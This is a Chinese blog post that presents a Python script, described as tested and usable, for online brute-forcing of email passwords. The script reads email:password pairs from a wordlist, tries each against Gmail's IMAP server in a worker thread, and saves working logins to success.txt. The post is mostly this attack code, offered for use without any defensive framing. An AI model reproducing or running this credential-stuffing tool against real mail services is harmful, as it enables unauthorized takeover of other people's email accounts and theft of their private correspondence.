侯体宗的博客
  • 首页
  • Hyperf版
  • beego仿版
  • 人生(杂谈)
  • 技术
  • 关于我
  • 更多分类
    • 文件下载
    • 文字修仙
    • 中国象棋ai
    • 群聊
    • 九宫格抽奖
    • 拼图
    • 消消乐
    • 相册

Python实现在线暴力破解邮箱账号密码功能示例【测试可用】

Python  /  管理员 发布于 7年前   153

本文实例讲述了Python实现在线暴力破解邮箱账号密码功能。分享给大家供大家参考,具体如下:

dic 字典格式如下(mail.txt) :

[email protected]:[email protected]:[email protected]:password

以此类推,切记保存成utf-8编码格式。

放置在当前脚本目录,也可自己定义修改。

支持ssl https /imap协议。

# version 3.4.0# coding='UTF-8'# time='2014-09-16'import _dummy_threadimport imaplibimport threading# global variantGLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY = []GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0GLOBAL_STRING_GMAIL_IMAP4_SERVER = 'imap.gmail.com'GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT = 143GLOBAL_INT_GMAIL_IMAP4_SSL_PORT = 993GLOBAL_WORKING_THREAD_MUTEX_LOCK = _dummy_thread.allocate_lock()GLOBAL_ARRAY_BUFFER_MAX_LINES = 1000GMAIL_BYTES_READED_TOTAL_SIZE = 0GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES = 0GLOBAL_READ_FINISH_STATUS_SUCCESS = False# define global functiondef Write_Save_Success_Gmail_Jobs(indexSuccess):  Success_File = open('success.txt', 'a')  Success_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexSuccess])  Success_File.close()def Write_Save_Fail_Gmail_Jobs(indexFail):  Fail_File = open('fail.txt', 'a')  Fail_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexFail])  Fail_File.close()# define global functiondef Get_Parser_Account_Pwd(Index): strAccountPwd = GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[Index] strUserName, strPassWord = strAccountPwd.split(':', 1) return strUserName, strPassWord# define global functiondef Veritifying_Gmail_Imap_Account_Pwd(IndexGmail): global GLOBAL_WORKING_THREAD_MUTEX_LOCK global GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES if ((IndexGmail >= 0) and (IndexGmail < GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)) == True:  GLOBAL_WORKING_THREAD_MUTEX_LOCK.acquire()  GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES += 1  print('POSITION---------', GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES)  print('IMAP INDEX-------', IndexGmail)  print('IMAP USERNAME----', GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail])  Write_Save_Fail_Gmail_Jobs(IndexGmail)  # GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()  print(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail])  GmailImap4 = imaplib.IMAP4_SSL(GLOBAL_STRING_GMAIL_IMAP4_SERVER, GLOBAL_INT_GMAIL_IMAP4_SSL_PORT)  GmailImap4.port = GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT # 143  stringGmailUserName, stringGmailPassWord = Get_Parser_Account_Pwd(IndexGmail)  try:   ResponseStatus = GmailImap4.login(stringGmailUserName, stringGmailPassWord)  except GmailImap4.error :   print('Logical errors - debug required')   Write_Save_Fail_Gmail_Jobs(IndexGmail)   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()   return  except GmailImap4.abort :   print('Service errors - close and retry')   GmailImap4.close()   Write_Save_Fail_Gmail_Jobs(IndexGmail)   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()   return  except GmailImap4.readonly:   print('Mailbox status changed to read only')   GmailImap4.close()   Write_Save_Fail_Gmail_Jobs(IndexGmail)   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()   return  if (ResponseStatus[0] == 'OK'):   print('LOGIN SUCCESS')   Write_Save_Success_Gmail_Jobs(IndexGmail)   GmailImap4.logout()   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()  else:   GmailImap4.close()   print('LOGIN FAIL')   print(ResponseStatus)   Write_Save_Fail_Gmail_Jobs(IndexGmail)   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release() else:  return# define global functionclass Working_Zone_Thread(threading.Thread): m_IndexStart = 0 m_IndexEnd = 0 def __init__(self, numEnd):  self.m_IndexEnd = numEnd  threading.Thread.__init__(self) def run(self): # run process  while True:   if self.m_IndexStart < self.m_IndexEnd:    Veritifying_Gmail_Imap_Account_Pwd(self.m_IndexStart)    self.m_IndexStart = self.m_IndexStart + 1   else:    break def _delete(self):  threading.Thread._delete(self)  print('thread delete is : ', self.getName())# define read functiondef Read_Send_Single_Func(): IndexStart = 0 print('--------read----star--') global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM global GMAIL_BYTES_READED_TOTAL_SIZE global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY File_Read = open('mail.txt', 'r', encoding='UTF-8') File_Read.seek(GMAIL_BYTES_READED_TOTAL_SIZE, 0) # seek while IndexStart < GLOBAL_ARRAY_BUFFER_MAX_LINES:  line = File_Read.readline()  if line:   GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.append(line)   CbBytes = line.__len__()   GMAIL_BYTES_READED_TOTAL_SIZE += CbBytes   GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM += 1   IndexStart = IndexStart + 1  else:   GLOBAL_READ_FINISH_STATUS_SUCCESS = True   break print('gmail read num ', IndexStart) File_Read.close() print('---------read----end--')# main entryif __name__ == '__main__': print('Main Thread Start : ') while True:  if GLOBAL_READ_FINISH_STATUS_SUCCESS != True:   Read_Send_Single_Func()   wzt = Working_Zone_Thread(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)   wzt.start()   wzt.join()   GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0   GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.clear()  else:   print('data has run out : ')   break print('Main Thread End : ')

更多关于Python相关内容可查看本站专题:《Python Socket编程技巧总结》、《Python数据结构与算法教程》、《Python函数使用技巧总结》、《Python字符串操作技巧汇总》、《Python入门与进阶经典教程》及《Python文件与目录操作技巧汇总》

希望本文所述对大家Python程序设计有所帮助。


  • 上一条:
    通过Python实现自动填写调查问卷
    下一条:
    Python基于回溯法子集树模板解决旅行商问题(TSP)实例
  • 昵称:

    邮箱:

    0条评论 (评论内容有缓存机制,请悉知!)
    最新最热
    • 分类目录
    • 人生(杂谈)
    • 技术
    • linux
    • Java
    • php
    • 框架(架构)
    • 前端
    • ThinkPHP
    • 数据库
    • 微信(小程序)
    • Laravel
    • Redis
    • Docker
    • Go
    • swoole
    • Windows
    • Python
    • 苹果(mac/ios)
    • 相关文章
    • 在python语言中Flask框架的学习及简单功能示例(0个评论)
    • 在Python语言中实现GUI全屏倒计时代码示例(0个评论)
    • Python + zipfile库实现zip文件解压自动化脚本示例(0个评论)
    • python爬虫BeautifulSoup快速抓取网站图片(1个评论)
    • vscode 配置 python3开发环境的方法(0个评论)
    • 近期文章
    • 在go语言中使用api.geonames.org接口实现根据国际邮政编码获取地址信息功能(1个评论)
    • 在go语言中使用github.com/signintech/gopdf实现生成pdf分页文件功能(0个评论)
    • gmail发邮件报错:534 5.7.9 Application-specific password required...解决方案(0个评论)
    • 欧盟关于强迫劳动的规定的官方举报渠道及官方举报网站(0个评论)
    • 在go语言中使用github.com/signintech/gopdf实现生成pdf文件功能(0个评论)
    • Laravel从Accel获得5700万美元A轮融资(0个评论)
    • 在go + gin中gorm实现指定搜索/区间搜索分页列表功能接口实例(0个评论)
    • 在go语言中实现IP/CIDR的ip和netmask互转及IP段形式互转及ip是否存在IP/CIDR(0个评论)
    • PHP 8.4 Alpha 1现已发布!(0个评论)
    • Laravel 11.15版本发布 - Eloquent Builder中添加的泛型(0个评论)
    • 近期评论
    • 122 在

      学历:一种延缓就业设计,生活需求下的权衡之选中评论 工作几年后,报名考研了,到现在还没认真学习备考,迷茫中。作为一名北漂互联网打工人..
    • 123 在

      Clash for Windows作者删库跑路了,github已404中评论 按理说只要你在国内,所有的流量进出都在监控范围内,不管你怎么隐藏也没用,想搞你分..
    • 原梓番博客 在

      在Laravel框架中使用模型Model分表最简单的方法中评论 好久好久都没看友情链接申请了,今天刚看,已经添加。..
    • 博主 在

      佛跳墙vpn软件不会用?上不了网?佛跳墙vpn常见问题以及解决办法中评论 @1111老铁这个不行了,可以看看近期评论的其他文章..
    • 1111 在

      佛跳墙vpn软件不会用?上不了网?佛跳墙vpn常见问题以及解决办法中评论 网站不能打开,博主百忙中能否发个APP下载链接,佛跳墙或极光..
    • 2016-10
    • 2016-11
    • 2018-04
    • 2020-03
    • 2020-04
    • 2020-05
    • 2020-06
    • 2022-01
    • 2023-07
    • 2023-10
    Top

    Copyright·© 2019 侯体宗版权所有· 粤ICP备20027696号 PHP交流群

    侯体宗的博客